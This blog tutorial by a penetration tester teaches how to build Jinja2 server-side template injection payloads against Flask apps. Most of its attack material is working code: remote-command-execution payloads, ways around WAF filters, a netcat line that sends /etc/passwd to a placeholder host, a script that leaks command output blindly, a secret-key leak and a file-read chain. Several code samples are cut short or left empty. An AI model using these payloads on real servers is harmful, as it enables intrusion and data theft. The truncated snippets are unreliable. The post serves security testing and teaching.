Server Side Template Injection with Jinja2 for you

Join Gus on a deep dive into crafting Jinja2 SSTI payloads from scratch. Explore bypass methods and various exploitation techniques in this insightful post.

Gus Ralph
Gus Ralph
Penetration Tester
April 29, 2020

What is a SSTI?

A server side template injection is a vulnerability that occurs when a server renders user input as a template of some sort. Templates can be used when only minor details of a page need to change from circumstance to circumstance. For example, depending on the IP that accesses a site, the site may look like:

<h1>Welcome to the page!</h1>
<u>This page is being accessed from the remote address: {{ip}}</u>

Instead of creating a whole new page per person that accesses the site, it will simply render the remote address into the {{ip}} variable, while reusing the rest of the HTML for each person request the server receives to that endpoint.

This can be abused, since some template engines support some fairly complex functionality, that eventually allow for developers to run commands or file contents straight from the template.

So when the power to create and render templates is given to a user, it can lead to full access to the system, as the user running the webserver.

What is 'MRO'?

Method Resolution Order (MRO) is the order in which Python looks for a method in a hierarchy of classes. It plays a vital role in the context of multiple inheritance as single method may be found in multiple super classes.

class A:
    def process(self):
        print('A process()')

class B:
    def process(self):
        print('B process()')

class C(A, B):
    def process(self):
        print('C process()')

class D(C,B):

obj = D()


This script will output the following: [<class '__main__.D'>, <class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>]

So we can use the MRO function to display classes, will come in extremely handy for building python SSTI Jinja2 payloads. If you dislike using the global_name.__class__.__mro__ format, you can also make use of __base__. For example: global_name.__class__.__base__.

Since MRO will list the order in which the hierarchy of classes will be handled, we can take advantage of the fact that it lists the classes, to select the one we want. On the other hand, with base, we will not get this opportunity, but it also means we can discard the use of the [1], that is used to select the object class in this payload for example: {{g.__class__.__mro__}} OR {{g.__class__.mro()}} OR {{g['__class__']['mro']()}} OR {{g['__class__']['__mro__']}}.

Essentially, {{g.__class__.__mro__[1]}} == {{g.__class__.__base__}}.

Simple testing example arena

Place following in, then run python

from flask import Flask, request, render_template_string

app = Flask(__name__)

def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
        return "Bienvenue!"

if __name__ == "__main__":


sudo apt-get install python-pip
pip install flask --user


This section is purely made up of things I have found while playing with the basic SSTI playground that is attached above. It also includes some methods that can be used to clean up, shorten, decrease character variety, or make the payloads more comfortable to use.

RCE bypassing as much as I possibly can.

I initially built the following payload for remote command execution, and will now try and apply as many filter bypasses as I can. {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

If the waf blocks ".": {{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}

If the waf blocks "." and "_": {{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}

Bypassing the blocks on ".", "_", "[]" and "|join" makes the payload turn into this payload I made for PayloadAllTheThings (, also found on my twitter ( {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

RCE without using {{}}.

Since we know how to build RCE SSTI payloads for Jinja2 now, we notice that one thing seems to repeat itself throughout every payload. The open and close tags for the template ({{}}), so surely, if we block these tags from user input, we are safe?

{{}} is not the only way to define the start of a template, if you are familiar with development in Jinja2 templates, you will know there are another two ways.

One of the methods mentioned in the documentation is via the use of hashtags:

Since Jinja 2.2, line-based comments are available as well. For example, if the line-comment prefix is configured to be ##, everything from ## to the end of the line is ignored (excluding the newline sign):

# for i in request.args:
    <li>{{ i }}</li>
# endfor

The reason this was not looked into as much as the other method is due to it needing an explicit option being enabled on the app. Which happens to be the line_statement_prefix option that can be found documented here (thank you makelaris for clarifying this for me).

The other method I know of to make the "render_template_string()" function detect the start and end of a template is by using {% %}.

These are generally used for iterations or conditionals, such as "for" or "if" statements. Then I had an idea, surely to make a comparison between the output of a function and a string, it needs to run the function? Maybe we can call the function in one of the comparison's parameters, which will allow us to run a command?

For this I made a simple if statement that can return True or False, regardless. {% if 'chiv' == 'chiv' %} a {% endif %}

Now, if we start messing with the parameters, how about we put my RCE payload (request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()) into one of the comparison values. Surely the server needs to run the function if it wants to compare their outputs? {% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() == 'chiv\n' %} a {% endif %}

By using a similar methodology to blind SQL injections, we can verify if the command is run with the "sleep" command. Let's make the server sleep for 5 seconds. {% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' %} a {% endif %}

Bingo! The server response time is increased and delayed. We seem to have command execution, but no way of exfiltrating data (you could take advantage of the fact that it is a binary comparison, either returning True or False, to leak command input byte by byte, but we have a VPS, so we can use HTTP to exfiltrate data).

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd | nc HOSTNAME 1337')['read']() == 'chiv' %} a {% endif %} RCE

For this part of the blog, if you want a bit of a challenge based on blind output exfiltration, I recommend you try and produce a payload that allows you to exfiltrate command output via the binary if statement. The way I would personally do this would be by making use of the ord() function on each character of the output, and the gt or lt operator to help indicate what the selected output letter is.

import requests, time, string

dictionary = string.printable
URL = "http://localhost:5000/"
final = ""
command = raw_input('What command should I run?\n')

while True:
        for x in dictionary:
                x = final + x
                r = requests.get(url = URL + "/?c={% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('" + command + "')['read']().startswith('" + str(x) + "') %}yes{% endif %}")
                if 'yes' in r.text:
                        final = x
                        print "Command output: " + final

Which will eventually leak the output of the inputted command, in my I ran "id", and got the following output:

Leak the secret key used to sign session cookies.

By calling the config object, it returns a list of key value pairs, one being the secret key used to sign user cookies. So we can specify the SECRET_KEY, name pair and it will return the secret key value. {{config["SECRET_KEY"]}}

If the "config" object is blocked or "config" is blacklisted then you can also use the self object, although you will have to CTRL+F for the 'SECRET_KEY': {{self.__dict__}}

Bypass the |join filter, using format string.

This is python! Flexibility and simplicity should always be kept in mind. For this reason, we can use an extremely useful feature that comes as a filter for the flask templates: the format string feature.

An exemplar payload would be the following: {{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

This basically tells the template to use the request object, and then builds the attribute we want to request from the request object (__class__) using arguments that are passed outside of the GET parameter that will be checked by the waf.

So as a base, we have: {{request|attr(request.args.f)}}&f=%s%sclass%s%s Which would be the equivalent of {{request|attr('%s%sclass%s%s')}}. We then pipe it to the format filter, as so: {{request|attr('%s%sclass%s%s'|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&a=_

This tells python to replace any "%s" with its according character. We pass it the value stored in the GET parameter called "a", which happens to be "_".

Summary explanation:

  1. {{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
  2. {{request|attr('%s%sclass%s%s'|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&a=_
  3. {{request|attr('%s%sclass%s%s'|format('_','_','_','_'))}}&a=_
  4. {{request|attr('__class__'}}

Listing all classes & types through template.

This makes use of the class attribute along with python's method resolution order and the subclasses function to list all subclasses. {{OBJECT.__class__.mro().__subclasses__()}} {{OBJECT.__class__.__mro__[1].__subclasses__()}} {{OBJECT.__class__.__base__.__subclasses__()}} Where OBJECT can be a variety of things, for example:

  • g
  • request
  • get_flashed_messages
  • url_for
  • config
  • application

Payload development from 0

For any kind of payload development, you need to start by deciding what you want your main goal to be. We are going to go choose the initial object "get_flashed_messages" to work on.

We can start by confirming the function exists: {{get_flashed_messages}} We get <function get_flashed_messages at 0x7f0932ca15d0> back from the webserver, confirming it was recognised as a function being rendered as a template by the webserver. This is also a good way to confirm SSTI's, you can simply type {{g}} and the template should render as: <flask.g of 'PYTHON APP NAME'>.

Next, we can use the __class__ attribute to along with the __mro__ and subclasses function to list all classes within the app.

Final evolution:

  1. {{get_flashed_messages}}
  2. {{get_flashed_messages.__class__}}
  3. {{get_flashed_messages.__class__.__mro__}}
  4. {{get_flashed_messages.__class__.__mro__[1]}}
  5. {{get_flashed_messages.__class__.__mro__[1].__subclasses__()}}
  6. {{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]}}
  7. {{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd')}}
  8. {{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

Python Literal Hex Encoding


This literal encoding will only work in quoted strings. This means that if a WAF blocks characters that are only common in filenames, or commands, and not in the SSTI payload itself, you can use these to encode the string and bypass the WAF. For example, if / was blocked, you could substitute it for a \x2F.


URL:{{%22\x41%22}} Returns: A

This means we can convert:




Other examples (this makes use of the hex literals, but also of the decode from hex function):

{% for x in ().__class__.__base__.__subclasses__() %}
    {% if "warning" in x.__name__ %}

Can be converted to:

{% for a in []["5F5F636C6173735F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F626173655F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]["5F5F737562636C61737365735F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")]() %}
    {% if "7761726E696E67"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78") in a["5F5F6E616D655F5F"["\x64\x65\x63\x6F\x64\x65"]("\x68\x65\x78")] %}

Dot WAF bypass


A common WAF character block is on .s, which are what a lot of the time are expected to be a necessary part of calling an object's attributes. This is not necessarily true, and there are multiple ways around it. One being the use of "[]" instead of dots. Here we can see some relevant documentation pulled directly from the template development page (see references):

You can use a dot (.) to access attributes of a variable in addition to the
standard Python __getitem__ “subscript” syntax ([]).

The following lines do the same thing:

{{ }}
{{ foo['bar'] }}

Another way we can bypass the use of "."s is throught he previously mentioned |attr filter.


This also means we can convert something like: {{ ''.__class__.__mro__[2].__subclasses__() }} Into: {{''['__class__']['__mro__'][2]['__subclasses__']()}}

Which completely removes the need / use of dots.

Possibly relevant notes

List of filters provided by Flask

A list of all possible filters can be found in the Flask documentation ( Filters can be used for a variety of things, for example, the join() filter can be used to join all strings in a list together, like this: {{['Thi','s wi','ll b','e appended']|join}} will return This will be appended.

Another example of a potentially useful filter could be the safe() filter. This filter allows us to inject JavaScript and HTML into the page without it being HTML encoded (since Flask does this by default). What this means is, inputting the template {{'<script>alert(1);</script>'}} would automatically HTML encode the special characters, turning it into &lt;script&gt;alert(1);&lt;/script&gt;, meaning the alert box won't trigger, and we will just be returned the string rendered back to us. If you pipe the string to the "safe" filter, it returns the string as it is, without HTML encoding the output ({{'<script>alert(1);</script>'|safe}} would trigger an alert box).

List all attributes associated to an object using dict.

In python, you can use __dict__ to list all attributes associated to an object, this is good for once we have selected our subclass to explore, and want to see what branches we could go down.

For example this will list all attributes associated to the 290th subclass in the list: {{g.__class__.__mro__[1].__subclasses__()[289].__dict__}}

Furthermore, since dictionaries are made up of key-value pairs, you can tell the template to only return the keys, or only return the values with .keys() or .values(). For example: {{['view_args'].__class__.__subclasses__()[13].__dict__.keys()}} {{request['view_args'].__class__.__subclasses__()[13].__dict__.values()}}

Example base objects to use (thank you again makelaris for bringing this to my attention)

            # request, session and g are normally added with the
            # context processor for efficiency reasons but for imported
            # templates we also want the proxies in there.

Difference between and foo['bar'] when being handled by flask

For the sake of convenience, in Jinja does the following things on the Python layer:

check for an attribute called bar on foo (getattr(foo, 'bar'))
if there is not, check for an item 'bar' in foo (foo.__getitem__('bar'))
if there is not, return an undefined object.

foo['bar'] works mostly the same with a small difference in sequence:

check for an item 'bar' in foo. (foo.__getitem__('bar'))
if there is not, check for an attribute called bar on foo. (getattr(foo, 'bar'))
if there is not, return an undefined object.

This is important if an object has an item and attribute with the same name. Additionally, the attr() filter only looks up attributes.

Conclusion & Contact

I hope this post clarified certain concepts, and helps people get into SSTI payloads for Jinja2, as they are extremely satisfying to make. If any further information is needed, do not hesitate to contact me at:


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